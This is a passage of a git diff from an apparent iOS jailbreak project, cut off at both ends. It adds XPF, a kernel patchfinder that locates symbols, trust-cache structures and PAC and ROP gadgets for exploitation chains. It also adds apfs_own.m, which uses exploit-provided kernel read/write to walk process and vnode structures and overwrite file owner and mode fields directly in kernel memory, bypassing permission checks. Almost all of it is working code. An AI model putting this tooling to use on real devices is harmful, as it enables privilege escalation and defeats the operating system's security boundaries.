*)(uint32_t)0); + xpf_item_register("kernelSymbol.vm_last_phys", xpf_find_pmap_pin_kernel_pages_reference, (void *)(uint32_t)1); + xpf_item_register("kernelSymbol.pp_attr_table", xpf_find_pmap_pin_kernel_pages_reference, (void *)(uint32_t)2); + xpf_item_register("kernelSymbol.pv_head_table", xpf_find_pv_head_table, NULL); + } + + + if (strcmp(gXPF.darwinVersion, "22.0.0") >= 0) { + // iOS >=16 + xpf_item_register("kernelSymbol.pmap_query_trust_cache_safe", xpf_find_pmap_query_trust_cache_safe, NULL); + if(gXPF.isSPTMDevice) { + xpf_item_register("kernelSymbol.load_static_trust_cache", xpf_find_load_static_trust_cache, NULL); + xpf_item_register("kernelSymbol.trust_cache_rt", xpf_find_sptm_trust_cache_rt, NULL); + } + else { + xpf_item_register("kernelSymbol.trust_cache_rt", xpf_find_ppl_trust_cache_rt, NULL); + } + } + else { + // iOS <=15 + xpf_item_register("kernelSymbol.pmap_image4_trust_caches", xpf_find_pmap_image4_trust_caches, NULL); + } + } +} \ No newline at end of file diff --git a/XPF/src/ppl.h b/XPF/src/ppl.h new file mode 100644 index 0000000..d0d6ac6 --- /dev/null +++ b/XPF/src/ppl.h @@ -0,0 +1 @@ +void xpf_ppl_init(void); \ No newline at end of file diff --git a/XPF/src/xpf.c b/XPF/src/xpf.c new file mode 100644 index 0000000..b15358d --- /dev/null +++ b/XPF/src/xpf.c @@ -0,0 +1,630 @@ +#include +#include +#include +#include +#include +#include +#include "xpf.h" +#include "decompress.h" + +#include "ppl.h" +#include "non_ppl.h" +#include "common.h" +#include "bad_recovery.h" + +bool xpf_supported_always(void) +{ + return true; +} + +// iOS 15 and above +bool xpf_supported_15up(void) +{ + return strcmp(gXPF.darwinVersion, "21.0.0") >= 0; +} + +// iOS 15 and below +bool xpf_supported_15down(void) +{ + return strcmp(gXPF.darwinVersion, "22.0.0") < 0; +} + +// iOS 16 and above +bool xpf_supported_16up(void) +{ + return strcmp(gXPF.darwinVersion, "22.0.0") >= 0; +} + +// iOS 16 and below +bool xpf_supported_16down(void) +{ + return strcmp(gXPF.darwinVersion, "23.0.0") < 0; +} + +// iOS 17 and above +bool xpf_supported_17up(void) +{ + return strcmp(gXPF.darwinVersion, "24.0.0") >= 0; +} + +// iOS 15.x and 16.x +bool xpf_supported_1516(void) +{ + return xpf_supported_15up() && xpf_supported_16down(); +} + +bool xpf_supported_arm64(void) +{ + return !gXPF.kernelIsArm64e; +} + +bool xpf_arm64_kcall_supported(void) +{ + return xpf_supported_arm64() && xpf_supported_16down(); +} + +bool xpf_trigon_supported(void) +{ + return gXPF.kernelIsArm64e && xpf_supported_15up() && !gXPF.isSPTMDevice; +} + +XPFSet gBaseSet = { + .name="base", + .supported=xpf_supported_always, + .metrics={ + "kernelConstant.kernel_el", + "kernelSymbol.allproc", + "kernelSymbol.kalloc_data_external", + "kernelSymbol.kfree_data_external", + NULL + } +}; + +XPFSet gTranslationSet = { + .name="translation", + .supported=xpf_supported_always, + .metrics={ + "kernelSymbol.cpu_ttep", + "kernelSymbol.gVirtBase", + "kernelSymbol.gPhysBase", + "kernelSymbol.gPhysSize", + "kernelSymbol.ptov_table", + "kernelConstant.pointer_mask", + "kernelConstant.T1SZ_BOOT", + "kernelConstant.ARM_TT_L1_INDEX_MASK", + NULL + } +}; + +XPFSet gPhysmapSet = { + .name="physmap", + .supported=xpf_supported_always, + .metrics={ + "kernelSymbol.vm_page_array_beginning_addr", + "kernelSymbol.vm_page_array_ending_addr", + "kernelSymbol.vm_first_phys_ppnum", + "kernelSymbol.vm_first_phys", + "kernelSymbol.vm_last_phys", + "kernelSymbol.pp_attr_table", + "kernelSymbol.pv_head_table", + "kernelSymbol.ptov_table", + "kernelConstant.PT_INDEX_MAX", + "kernelSymbol.pmap_enter_options_addr", + "kernelSymbol.pmap_remove_options", + NULL + } +}; + +XPFSet gStructSet = { + .name="struct", + .supported=xpf_supported_always, + .metrics={ + "kernelStruct.proc.struct_size", + "kernelStruct.task.itk_space", + "kernelStruct.vm_map.pmap", + NULL + } +}; + +XPFSet gTrustcache15Set = { + .name="trustcache", + .supported=xpf_supported_15down, + { + "kernelSymbol.pmap_image4_trust_caches", + NULL + } +}; + +XPFSet gTrustcache16Set = { + .name="trustcache", + xpf_supported_16up, + .metrics={ + "kernelSymbol.trust_cache_rt", + NULL + } +}; + +XPFSet gBadRecoverySet = { + .name="badRecovery", + .supported=xpf_bad_recovery_supported, + .metrics={ + "kernelSymbol.hw_lck_ticket_reserve_orig_allow_invalid", + "kernelGadget.hw_lck_ticket_reserve_orig_allow_invalid_signed", + "kernelGadget.br_x22", + "kernelSymbol.exception_return", + "kernelGadget.exception_return_after_check", + "kernelGadget.exception_return_after_check_no_restore", + "kernelGadget.ldp_x0_x1_x8", + "kernelGadget.str_x8_x9", + "kernelGadget.str_x0_x19_ldr_x20", + "kernelGadget.pacda", + "kernelSymbol.ml_sign_thread_state", + "kernelStruct.thread.recover", + "kernelStruct.thread.machine_kstackptr", + "kernelStruct.thread.machine_CpuDatap", + "kernelStruct.thread.machine_contextData", + "kernelSymbol.mac_label_set", + NULL + } +}; + +XPFSet gSandboxSet = { + .name="sandbox", + .supported=xpf_supported_15up, + .metrics={ + "kernelConstant.nsysent", + "kernelConstant.mach_trap_count", + "kernelSymbol.mach_kobj_count", + NULL, + } +}; + +XPFSet gPhysRWSet = { + .name="physrw", + .supported=xpf_supported_always, + .metrics={ + NULL, + } +}; + +XPFSet gPerfKRWSet = { + .name="perfkrw", + .supported=xpf_supported_1516, + .metrics={ + "kernelSymbol.perfmon_dev_open", + "kernelSymbol.perfmon_devices", + "kernelSymbol.vn_kqfilter", + "kernelSymbol.cdevsw", + NULL + }, +}; + +XPFSet gDevModeSet = { + .name="devmode", + .supported=xpf_supported_16up, + .metrics={ + "kernelSymbol.developer_mode_enabled", + NULL + }, +}; + +XPFSet gArm64KcallSet = { + .name="arm64kcall", + .supported=xpf_arm64_kcall_supported, + .metrics={ + "kernelSymbol.exception_return", + "kernelGadget.kcall_return", + "kernelGadget.str_x8_x0", + "kernelStruct.thread.machine_CpuDatap", + "kernelStruct.thread.machine_kstackptr", + "kernelStruct.thread.machine_contextData", + NULL + }, +}; + +XPFSet gTrigonSet = { + .name="trigon", + .supported=xpf_trigon_supported, + .metrics={ + "kernelSymbol.iorvbar", + NULL + } +}; + +XPFSet *gSets[] = { + &gBaseSet, + &gTranslationSet, + &gSandboxSet, + &gPhysmapSet, + &gStructSet, + &gTrustcache15Set, + &gTrustcache16Set, + &gBadRecoverySet, + &gPhysRWSet, + &gPerfKRWSet, + &gDevModeSet, + &gArm64KcallSet, + &gTrigonSet, +}; + +XPF gXPF = { 0 }; + +PFSection *xpf_pfsec_init(const char *filesetEntryId, const char *segName, const char *sectName) +{ + PFSection *section = pfsec_init_from_macho(gXPF.kernel, gXPF.kernelIsFileset ? filesetEntryId : NULL, segName, sectName); + if (section) { + pfsec_set_cached(section, true); + pfsec_set_pointer_decoder(section, xpfsec_decode_pointer); + } + return section; +} + +int xpf_start_with_kernel_path(const char *kernelPath) +{ + gXPF.kernelFd = open(kernelPath, O_RDONLY); + if (gXPF.kernelFd < 0) { + xpf_set_error("Failed to open kernelcache"); + return -1; + } + + struct stat s; + fstat(gXPF.kernelFd, &s); + gXPF.kernelSize = s.st_size; + gXPF.mappedKernel = mmap(NULL, gXPF.kernelSize, PROT_READ, MAP_PRIVATE, gXPF.kernelFd, 0); + if (gXPF.mappedKernel == MAP_FAILED) { + xpf_set_error("Failed to map kernelcache"); + return -1; + } + + MemoryStream *stream = NULL; + if (LITTLE_TO_HOST(*(uint32_t *)(gXPF.mappedKernel)) == MH_MAGIC_64 + || (*(uint32_t *)(gXPF.mappedKernel)) == FAT_CIGAM) { + stream = buffered_stream_init_from_buffer_nocopy(gXPF.mappedKernel, gXPF.kernelSize, 0); + } + else { + gXPF.decompressedKernel = kdecompress(gXPF.mappedKernel, gXPF.kernelSize, &gXPF.decompressedKernelSize); + if (gXPF.decompressedKernel) { + stream = buffered_stream_init_from_buffer_nocopy(gXPF.decompressedKernel, gXPF.decompressedKernelSize, 0); + } + } + + Fat *candidate = fat_init_from_memory_stream(stream); + if (!candidate) { + xpf_set_error("Failed to load kernel macho"); + return -1; + } + + MachO *machoCandidate = NULL; + gXPF.kernelIsArm64e = false; + machoCandidate = fat_find_slice(candidate, CPU_TYPE_ARM64, CPU_SUBTYPE_ARM64_ALL); + if (!machoCandidate) { + gXPF.kernelIsArm64e = true; + machoCandidate = fat_find_slice(candidate, CPU_TYPE_ARM64, CPU_SUBTYPE_ARM64E); + if (!machoCandidate) { + machoCandidate = fat_find_slice(candidate, CPU_TYPE_ARM64, 0xC0000002); + } + } + if (!machoCandidate) { + xpf_set_error("Failed to load kernel macho"); + return -1; + } + + // check if SPTM devices or not + + gXPF.kernelContainer = candidate; + gXPF.kernel = machoCandidate; + gXPF.kernelIsFileset = macho_get_filetype(gXPF.kernel) == MH_FILESET; + + gXPF.kernelTextSection = xpf_pfsec_init("com.apple.kernel", "__TEXT_EXEC", "__text"); + gXPF.kernelPinstSection = xpf_pfsec_init("com.apple.kernel", "__LAST", "__pinst"); + + // check if SPTM devices or not + gXPF.kernelPPLTextSection = xpf_pfsec_init("com.apple.kernel", "__PPLTEXT", "__text"); + if(gXPF.kernelIsArm64e == true && gXPF.kernelPPLTextSection == NULL) + gXPF.isSPTMDevice = true; + + gXPF.kernelStringSection = xpf_pfsec_init("com.apple.kernel", "__TEXT", "__cstring"); + gXPF.kernelConstSection = xpf_pfsec_init("com.apple.kernel", "__TEXT", "__const"); + gXPF.kernelDataConstSection = xpf_pfsec_init("com.apple.kernel", "__DATA_CONST", "__const"); + gXPF.kernelDataSection = xpf_pfsec_init("com.apple.kernel", "__DATA", "__data"); + gXPF.kernelOSLogSection = xpf_pfsec_init("com.apple.kernel", "__TEXT", "__os_log"); + gXPF.kernelBootdataInit = xpf_pfsec_init("com.apple.kernel", "__BOOTDATA", "__init"); + + if (gXPF.kernelIsFileset) { + gXPF.kernelAMFITextSection = xpf_pfsec_init("com.apple.driver.AppleMobileFileIntegrity", "__TEXT_EXEC", "__text"); + gXPF.kernelAMFIStringSection = xpf_pfsec_init("com.apple.driver.AppleMobileFileIntegrity", "__TEXT", "__cstring"); + gXPF.kernelSandboxTextSection = xpf_pfsec_init("com.apple.security.sandbox", "__TEXT_EXEC", "__text"); + gXPF.kernelSandboxStringSection = xpf_pfsec_init("com.apple.security.sandbox", "__TEXT", "__cstring"); + gXPF.kernelInfoPlistSection = xpf_pfsec_init("com.apple.security.AppleImage4", "__TEXT", "__info_plist"); + } + else { + gXPF.kernelPrelinkTextSection = xpf_pfsec_init(NULL, "__PRELINK_TEXT", "__text"); + gXPF.kernelPLKTextSection = xpf_pfsec_init(NULL, "__PLK_TEXT_EXEC", "__text"); + gXPF.kernelKmodInfoSection = xpf_pfsec_init(NULL, "__PRELINK_INFO", "__kmod_info"); + gXPF.kernelPrelinkInfoSection = xpf_pfsec_init(NULL, "__PRELINK_INFO", "__info"); + } + + gXPF.kernelBase = macho_get_base_address(gXPF.kernel); + gXPF.kernelEntry = 0; + macho_enumerate_load_commands(gXPF.kernel, ^(struct load_command loadCommand, uint64_t offset, void *cmd, bool *stop) { + if (loadCommand.cmd == LC_UNIXTHREAD) { + uint8_t *cmdData = ((uint8_t *)cmd + sizeof(struct thread_command)); + uint8_t *cmdDataEnd = ((uint8_t *)cmd + loadCommand.cmdsize); + + while (cmdData < cmdDataEnd) { + uint32_t flavor = LITTLE_TO_HOST(*(uint32_t *)cmdData); + uint32_t count = LITTLE_TO_HOST(*(uint32_t *)(cmdData + 4)); + if (flavor == ARM_THREAD_STATE64) { + arm_thread_state64_t *threadState = (arm_thread_state64_t *)(cmdData + 8); +#ifdef __arm64e__ + gXPF.kernelEntry = LITTLE_TO_HOST((uint64_t)threadState->__opaque_pc); +#else + gXPF.kernelEntry = LITTLE_TO_HOST((uint64_t)threadState->__pc); +#endif + } + cmdData += (8 + count); + } + *stop = true; + } + }); + + if (gXPF.kernelBase == UINT64_MAX) { + xpf_set_error("Failed to find kernel base"); + return -1; + } + if (!gXPF.kernelEntry) { + xpf_set_error("Failed to find kernel entry point"); + return -1; + } + + const char *versionSearchString = "Darwin Kernel Version "; + PFPatternMetric *versionMetric = pfmetric_pattern_init((void *)versionSearchString, NULL, strlen(versionSearchString), sizeof(uint8_t)); + pfmetric_run(gXPF.kernelConstSection, versionMetric, ^(uint64_t vmaddr, bool *stop) { + int r = pfsec_read_string(gXPF.kernelConstSection, vmaddr, &gXPF.kernelVersionString); + *stop = true; + }); + pfmetric_free(versionMetric); + + if (gXPF.kernelInfoPlistSection) { + const char *infoPlistString = ""; + PFPatternMetric *infoPlistMetric = pfmetric_pattern_init((void *)infoPlistString, NULL, strlen(infoPlistString), sizeof(uint8_t)); + pfmetric_run(gXPF.kernelInfoPlistSection, infoPlistMetric, ^(uint64_t vmaddr, bool *stop) { + int r = pfsec_read_string(gXPF.kernelInfoPlistSection, vmaddr, &gXPF.kernelInfoPlist); + *stop = true; + }); + pfmetric_free(infoPlistMetric); + } + + if (!gXPF.kernelVersionString) { + xpf_set_error("Failed to find kernel version"); + return -1; + } + else { + char darwinVersion[100]; + char xnuBuild[100]; + char xnuPlatform[100]; + sscanf(gXPF.kernelVersionString, "Darwin Kernel Version %[^:]: %*[^;]; root:xnu-%[^/]/%s", darwinVersion, xnuBuild, xnuPlatform); + gXPF.darwinVersion = strdup(darwinVersion); + gXPF.xnuBuild = strdup(xnuBuild); + gXPF.xnuPlatform = strdup(xnuPlatform); + + if (gXPF.kernelInfoPlistSection) { + char osVersion[100]; + const char *DTPlatformVersion = strstr(gXPF.kernelInfoPlist, "DTPlatformVersion"); + sscanf(DTPlatformVersion, "DTPlatformVersion\t%9[^<]", osVersion); + gXPF.osVersion = strdup(osVersion); + } + } + + xpf_ppl_init(); + xpf_non_ppl_init(); + xpf_common_init(); + xpf_bad_recovery_init(); + + return 0; +} + +void xpf_item_register(const char *name, void *finder, void *ctx) +{ + XPFItem *newItem = malloc(sizeof(XPFItem)); + memset(newItem, 0x0, sizeof(XPFItem)); + newItem->name = name; + newItem->ctx = ctx; + newItem->finder = finder; + newItem->cache = 0; + newItem->cached = false; + + XPFItem *lastItem = NULL; + XPFItem *item = gXPF.firstItem; + while (item) { + lastItem = item; + item = item->nextItem; + } + if (!lastItem) { + gXPF.firstItem = newItem; + } + else { + lastItem->nextItem = newItem; + } +} + +uint64_t xpf_item_resolve(const char *name) +{ + XPFItem *item = gXPF.firstItem; + while (item) { + if (!strcmp(item->name, name)) { + if (!item->cached) { + item->cache = item->finder(item->ctx); + item->cached = true; + } + return item->cache; + } + item = item->nextItem; + } + return 0; +} + +void xpf_print_all_items(void) +{ + XPFItem *item = gXPF.firstItem; + while (item) { + printf("0x%016llx <- %s\n", xpf_item_resolve(item->name), item->name); + item = item->nextItem; + } +} + +uint64_t xpfsec_decode_pointer(PFSection *section, uint64_t vmaddr, uint64_t value) +{ + if ((value & 0xffff000000000000) != 0xffff000000000000) { + // Chained fixups, other stuff + value &= 0x00000000ffffffff; + value += gXPF.kernelBase; + } + return value; +} + +XPFSet *xpf_find_set(const char *name, bool *foundUnsupported) +{ + uint32_t setCount = (sizeof(gSets)/sizeof(XPFSet*)); + for (int i = 0; i < setCount; i++) { + if (!strcmp(gSets[i]->name, name)) { + if (!gSets[i]->supported()) { + if (foundUnsupported) *foundUnsupported = true; + continue; + } + return gSets[i]; + } + } + return false; +} + +bool xpf_set_is_supported(const char *name) +{ + XPFSet *set = xpf_find_set(name, NULL); + return set != NULL; +} + +int xpf_offset_dictionary_add_set(xpc_object_t xdict, XPFSet *set) +{ + if (!set->supported()) { + return -1; + } + + for (int i = 0; set->metrics[i]; i++) { + uint64_t resolved = xpf_item_resolve(set->metrics[i]); + if (resolved) { + xpc_dictionary_set_uint64(xdict, set->metrics[i], resolved); + } + else { + const char *existingError = xpf_get_error(); + if (existingError) { + xpf_set_error("Set \"%s\" failed on \"%s\" (%s)", set->name, set->metrics[i], existingError); + } + else { + xpf_set_error("Set \"%s\" failed on \"%s\"", set->name, set->metrics[i]); + } + return -1; + } + } + return 0; +} + +xpc_object_t xpf_construct_offset_dictionary(const char *sets[]) +{ + xpc_object_t offsetDictionary = xpc_dictionary_create_empty(); + + if (xpf_offset_dictionary_add_set(offsetDictionary, &gBaseSet) != 0) return NULL; + + uint32_t setCount = (sizeof(gSets)/sizeof(XPFSet*)); + + for (int i = 0; sets[i]; i++) { + bool foundUnsupported = false; + XPFSet *set = xpf_find_set(sets[i], &foundUnsupported); + if (set) { + int r = xpf_offset_dictionary_add_set(offsetDictionary, set); + if (r != 0) { + xpc_release(offsetDictionary); + return NULL; + } + } + else if (foundUnsupported) { + xpf_set_error("Set \"%s\" is unsupported by this device", sets[i]); + xpc_release(offsetDictionary); + return NULL; + } + else { + xpf_set_error("Failed to find set \"%s\"", sets[i]); + xpc_release(offsetDictionary); + return NULL; + } + } + + return offsetDictionary; +} + +static char *gXPFError; + +void xpf_set_error(const char *error, ...) +{ + char *newError = NULL; + va_list va; + va_start(va, error); + vasprintf(&newError, error, va); + va_end(va); + + if (gXPFError) { + free(gXPFError); + } + gXPFError = newError; +} + +const char *xpf_get_error(void) +{ + return gXPFError; +} + +void xpf_stop(void) +{ + if (gXPF.mappedKernel) { + munmap(gXPF.mappedKernel, gXPF.kernelSize); + } + if (gXPF.decompressedKernel) { + free(gXPF.decompressedKernel); + } + if (gXPF.kernelFd >= 0) { + close(gXPF.kernelFd); + } + + if (gXPF.kernelTextSection) pfsec_free(gXPF.kernelTextSection); + if (gXPF.kernelPPLTextSection) pfsec_free(gXPF.kernelPPLTextSection); + if (gXPF.kernelStringSection) pfsec_free(gXPF.kernelStringSection); + if (gXPF.kernelConstSection) pfsec_free(gXPF.kernelConstSection); + if (gXPF.kernelDataConstSection) pfsec_free(gXPF.kernelDataConstSection); + if (gXPF.kernelDataSection) pfsec_free(gXPF.kernelDataSection); + if (gXPF.kernelOSLogSection) pfsec_free(gXPF.kernelOSLogSection); + if (gXPF.kernelAMFITextSection) pfsec_free(gXPF.kernelAMFITextSection); + if (gXPF.kernelAMFIStringSection) pfsec_free(gXPF.kernelAMFIStringSection); + if (gXPF.kernelSandboxTextSection) pfsec_free(gXPF.kernelSandboxTextSection); + if (gXPF.kernelSandboxStringSection) pfsec_free(gXPF.kernelSandboxStringSection); + if (gXPF.kernelPrelinkTextSection) pfsec_free(gXPF.kernelPrelinkTextSection); + if (gXPF.kernelBootdataInit) pfsec_free(gXPF.kernelBootdataInit); + if (gXPF.kernelPLKTextSection) pfsec_free(gXPF.kernelPLKTextSection); + if (gXPF.kernelInfoPlistSection) pfsec_free(gXPF.kernelInfoPlistSection); + if (gXPF.kernelContainer) fat_free(gXPF.kernelContainer); + + if (gXPF.kernelVersionString) free(gXPF.kernelVersionString); + if (gXPF.darwinVersion) free(gXPF.darwinVersion); + if (gXPF.xnuBuild) free(gXPF.xnuBuild); + if (gXPF.xnuPlatform) free(gXPF.xnuPlatform); + if (gXPF.osVersion) free(gXPF.osVersion); + if (gXPF.kernelInfoPlist) free(gXPF.kernelInfoPlist); + + XPFItem *item = gXPF.firstItem; + while (item) { + XPFItem *curItem = item; + item = item->nextItem; + free(curItem); + } + + gXPF = (struct s_XPF){ 0 }; +} diff --git a/XPF/src/xpf.h b/XPF/src/xpf.h new file mode 100644 index 0000000..ed0e16d --- /dev/null +++ b/XPF/src/xpf.h @@ -0,0 +1,82 @@ +#include + +#include +#include +#include +#include +#include +#include + +typedef struct s_XPFItem { + struct s_XPFItem *nextItem; + const char *name; + uint64_t (*finder)(void *); + void *ctx; + bool cached; + uint64_t cache; +} XPFItem; + +typedef struct s_XPFSet { + const char *name; + bool (*supported)(void); + const char *metrics[]; +} XPFSet; + +#define XPF_ASSERT(assert) if (!(assert)) { if (!xpf_get_error()) { xpf_set_error("[%s:%d] Failed assert in %s: %s", __FILE__, __LINE__, __FUNCTION__, #assert); } return 0; } + +int xpf_start_with_kernel_path(const char *kernelPath); +void xpf_item_register(const char *name, void *finder, void *ctx); +uint64_t xpf_item_resolve(const char *name); +uint64_t xpfsec_decode_pointer(PFSection *section, uint64_t vmaddr, uint64_t value); +bool xpf_set_is_supported(const char *name); +int xpf_offset_dictionary_add_set(xpc_object_t xdict, XPFSet *set); +xpc_object_t xpf_construct_offset_dictionary(const char *sets[]); +void xpf_set_error(const char *error, ...); +const char *xpf_get_error(void); +void xpf_print_all_items(void); +void xpf_stop(void); + +typedef struct s_XPF { + int kernelFd; + void *mappedKernel; + size_t kernelSize; + void *decompressedKernel; + size_t decompressedKernelSize; + + Fat *kernelContainer; + MachO *kernel; + bool kernelIsFileset; + bool kernelIsArm64e; + bool isSPTMDevice; + char *kernelVersionString; + char *kernelInfoPlist; + char *darwinVersion; + char *xnuBuild; + char *xnuPlatform; + char *osVersion; + + uint64_t kernelBase; + uint64_t kernelEntry; + + PFSection *kernelTextSection; + PFSection *kernelPinstSection; + PFSection *kernelPPLTextSection; + PFSection *kernelStringSection; + PFSection *kernelConstSection; + PFSection *kernelDataConstSection; + PFSection *kernelDataSection; + PFSection *kernelOSLogSection; + PFSection *kernelPrelinkTextSection; + PFSection *kernelPLKTextSection; + PFSection *kernelKmodInfoSection; + PFSection *kernelPrelinkInfoSection; + PFSection *kernelBootdataInit; + PFSection *kernelAMFITextSection; + PFSection *kernelAMFIStringSection; + PFSection *kernelSandboxTextSection; + PFSection *kernelSandboxStringSection; + PFSection *kernelInfoPlistSection; + + XPFItem *firstItem; +} XPF; +extern XPF gXPF; diff --git a/apfs_own.h b/apfs_own.h new file mode 100644 index 0000000..8837a72 --- /dev/null +++ b/apfs_own.h @@ -0,0 +1,27 @@ +#ifndef apfs_own_h +#define apfs_own_h + +#include +#include + +// Change a file's owner (uid/gid) by directly writing apfs_fsnode in +// kernel memory. Works regardless of current process uid — bypasses the +// need for true uid=0. Returns 0 on success, -1 on failure. +// Ported from lara/kexploit/pe/apfs.m. +int apfs_own(const char *path, uid_t uid, gid_t gid); + +// Change a file's mode. Same mechanism as apfs_own. Returns 0/-1. +int apfs_mod(const char *path, mode_t mode); + +// Read current on-disk values via kernel memory (sanity-check helpers). +uint32_t apfs_getuid_kr(const char *path); +uint32_t apfs_getgid_kr(const char *path); +uint16_t apfs_getmode_kr(const char *path); + +// Recursively chown every file/dir under `root` to (uid, gid). Uses lstat so +// symlinks are chown'd themselves, not followed. Skips per-entry sync/stat +// for speed; one sync at the end. Returns number of entries successfully +// chown'd. +long apfs_own_tree(const char *root, uid_t uid, gid_t gid); + +#endif /* apfs_own_h */ diff --git a/apfs_own.m b/apfs_own.m new file mode 100644 index 0000000..75db712 --- /dev/null +++ b/apfs_own.m @@ -0,0 +1,340 @@ +/* + * apfs_own.m — 1:1 port of lara/kexploit/pe/apfs.m + * + * Walk: fd -> self_proc->p_fd->fd_ofiles[fd] -> fileproc->fp_glob + * -> fileglob->fg_data (vnode) -> v_data (apfs_fsnode) + * Then modify apfs_fsnode.uid / gid / mode directly in kernel memory. + * + * apfs_fsnode lives in a regular writable zone (not ZC_READONLY / PPL), + * so socket-based kR/W works on iOS 17.0 through 26.x — unlike the + * ucred/proc_ro writes which are blocked. + */ + +#import +#include +#include +#include +#include +#include +#include +#include + +#include "apfs_own.h" +#include "kexploit/kutils.h" +#include "kexploit/krw.h" +#include "kexploit/offsets.h" +#include "kexploit/xpaci.h" +#include "kexploit/vnode.h" + +// Verbatim from lara/kexploit/pe/apfs.m. We only touch uid/gid/mode, but +// keeping the full layout so offsetof() stays correct if lara updates it. +struct apfs_fsnode { + uint8_t type; + uint8_t _type_pad[7]; + uint64_t ino; + + union { + uint64_t jhash_prev; + struct { + uint32_t _jhash_prev_lo; + uint16_t xattr_count; + uint16_t xattr_flags; + }; + }; + + uint64_t jhash_next; + + union { + uint64_t parent_ino_or_owner_vnode; + struct { + uint32_t parent_ino_lo; + uint16_t parent_sub; + uint16_t _parent_pad; + }; + }; + + uint32_t nstream_id; + + union { + uint32_t internal_flags; + struct { + uint8_t reclaim_flag; + uint8_t busy_flag; + uint16_t internal_flags_hi; + }; + }; + + void *jhash_gate; + + union { + uint64_t internal_link; + struct { + uint8_t _link_base; + uint8_t snap_rename_flag; + uint16_t _link_pad; + uint32_t snap_mount_state; + }; + }; + + uint64_t graft_state; + uint64_t snap_state; + uint64_t fake_getattr_data; + uint64_t mnomap_data; + uint64_t cleanup_data; + + union { + uint64_t crypto_state; + struct { + uint8_t _crypto_base; + uint8_t crypto_class; + uint8_t crypto_flags; + uint8_t _crypto_pad; + uint32_t crypto_extra; + }; + }; + + uint32_t bsd_flags; + uint32_t gen_flags; + uint64_t mmap_state; + uid_t uid; + gid_t gid; + uint16_t mode; + uint16_t open_refcnt; + uint32_t ino_flags_ext; + uint64_t raw_enc_data; +}; + +// Primary: open()-based. Needs read permission on the target, so it can +// hit EACCES on root-owned 0600/0700 files that our sandbox escape doesn't +// bypass (sandbox clears MAC, not DAC). +static uint64_t getvnodefor_open(const char *path) { + int fd = open(path, O_RDONLY); + if (fd == -1) return (uint64_t)-1; + + uint64_t self_proc = proc_self(); + if (!self_proc) { close(fd); return (uint64_t)-1; } + + uint64_t fileprocPtrArr = kread64(self_proc + off_proc_p_fd + off_filedesc_fd_ofiles); + fileprocPtrArr = xpaci(fileprocPtrArr); + if (!fileprocPtrArr) { close(fd); return (uint64_t)-1; } + + uint64_t fileproc = kread64(fileprocPtrArr + (8 * fd)); + if (!fileproc) { close(fd); return (uint64_t)-1; } + + uint64_t fp_glob = kread64(fileproc + off_fileproc_fp_glob); + fp_glob = xpaci(fp_glob); + if (!fp_glob) { close(fd); return (uint64_t)-1; } + + uint64_t vnode = kread64(fp_glob + off_fileglob_fg_data); + vnode = xpaci(vnode); + + close(fd); + return vnode; +} + +// Fallback for directories: chdir-based. Only needs x perm on parent chain, +// not r perm on target. We reset cwd afterwards. +static uint64_t getvnodefor_chdir(const char *path) { + char oldcwd[PATH_MAX]; + if (!getcwd(oldcwd, sizeof(oldcwd))) oldcwd[0] = '\0'; + if (chdir(path) != 0) return (uint64_t)-1; + + uint64_t self_proc = proc_self(); + uint64_t vnode = kread64(self_proc + off_proc_p_fd + off_filedesc_fd_cdir); + vnode = xpaci(vnode); + + if (oldcwd[0]) chdir(oldcwd); + else chdir("/"); + return vnode; +} + +static uint64_t getvnodefor(const char *path) { + uint64_t v = getvnodefor_open(path); + if (v != (uint64_t)-1 && v != 0) return v; + // Fallback: chdir works for directories even when open() fails EACCES. + return getvnodefor_chdir(path); +} + +static uint64_t get_fsnode(const char *path) { + uint64_t vnode = getvnodefor(path); + if (vnode == (uint64_t)-1 || !vnode) return 0; + uint64_t fs_node = kread64(vnode + off_vnode_v_data); + return fs_node; +} + +uint32_t apfs_getuid_kr(const char *path) { + uint64_t fs_node = get_fsnode(path); + if (!fs_node) return 0; + return kread32(fs_node + offsetof(struct apfs_fsnode, uid)); +} + +uint32_t apfs_getgid_kr(const char *path) { + uint64_t fs_node = get_fsnode(path); + if (!fs_node) return 0; + return kread32(fs_node + offsetof(struct apfs_fsnode, gid)); +} + +uint16_t apfs_getmode_kr(const char *path) { + uint64_t fs_node = get_fsnode(path); + if (!fs_node) return 0; + return kread16(fs_node + offsetof(struct apfs_fsnode, mode)); +} + +int apfs_own(const char *path, uid_t uid, gid_t gid) { + uint64_t fs_node = get_fsnode(path); + if (!fs_node) { + NSLog(@"[APFS] own: unable to get fs_node: %s", path); + return -1; + } + + // Sanity check: kernel-read uid must match what stat() reports, or the + // struct layout is wrong and we'd corrupt an unrelated field. + struct stat st_before; + if (stat(path, &st_before) == 0) { + uint32_t kuid = kread32(fs_node + offsetof(struct apfs_fsnode, uid)); + if (kuid != st_before.st_uid) { + NSLog(@"[APFS] own: layout mismatch for %s (stat uid=%u, kernel uid=%u); aborting", + path, st_before.st_uid, kuid); + return -1; + } + } + + kwrite32(fs_node + offsetof(struct apfs_fsnode, uid), uid); + kwrite32(fs_node + offsetof(struct apfs_fsnode, gid), gid); + + sync(); sync(); sync(); + + struct stat st; + if (stat(path, &st) != 0) { + NSLog(@"[APFS] own: stat() failed after write: %s", path); + return -1; + } + if (st.st_uid != uid || st.st_gid != gid) { + NSLog(@"[APFS] own: verify failed (got uid=%u gid=%u, expected %u/%u): %s", + st.st_uid, st.st_gid, uid, gid, path); + return -1; + } + + NSLog(@"[APFS] own: %s -> uid=%u gid=%u", path, uid, gid); + return 0; +} + +// Fast path: skip per-entry sync/stat verify. Used by the bulk tree walker. +// Returns 0 on success (readback matched), -1 on failure. +static int apfs_own_unsafe(const char *path, uid_t uid, gid_t gid, + uint32_t *out_before_uid) { + uint64_t fs_node = get_fsnode(path); + if (!fs_node) return -1; + + uint32_t before = kread32(fs_node + offsetof(struct apfs_fsnode, uid)); + if (out_before_uid) *out_before_uid = before; + + kwrite32(fs_node + offsetof(struct apfs_fsnode, uid), uid); + kwrite32(fs_node + offsetof(struct apfs_fsnode, gid), gid); + + // Kernel-side read-back: if the write didn't take, we haven't changed + // anything and the caller should count this as a failure. + uint32_t after = kread32(fs_node + offsetof(struct apfs_fsnode, uid)); + if (after != uid) return -1; + return 0; +} + +// Skip subtrees iOS validates by ownership — chown'ing these breaks codesign +// or FairPlay DRM and can brick the app. +static int is_skip_name(const char *name) { + return strcmp(name, "_CodeSignature") == 0 || + strcmp(name, "SC_Info") == 0; +} + +static long chown_walk(const char *path, uid_t uid, gid_t gid, int depth, + long *skipped_lstat, long *skipped_chown, long *skipped_opendir) { + if (depth > 32) return 0; + + struct stat st; + if (lstat(path, &st) != 0) { 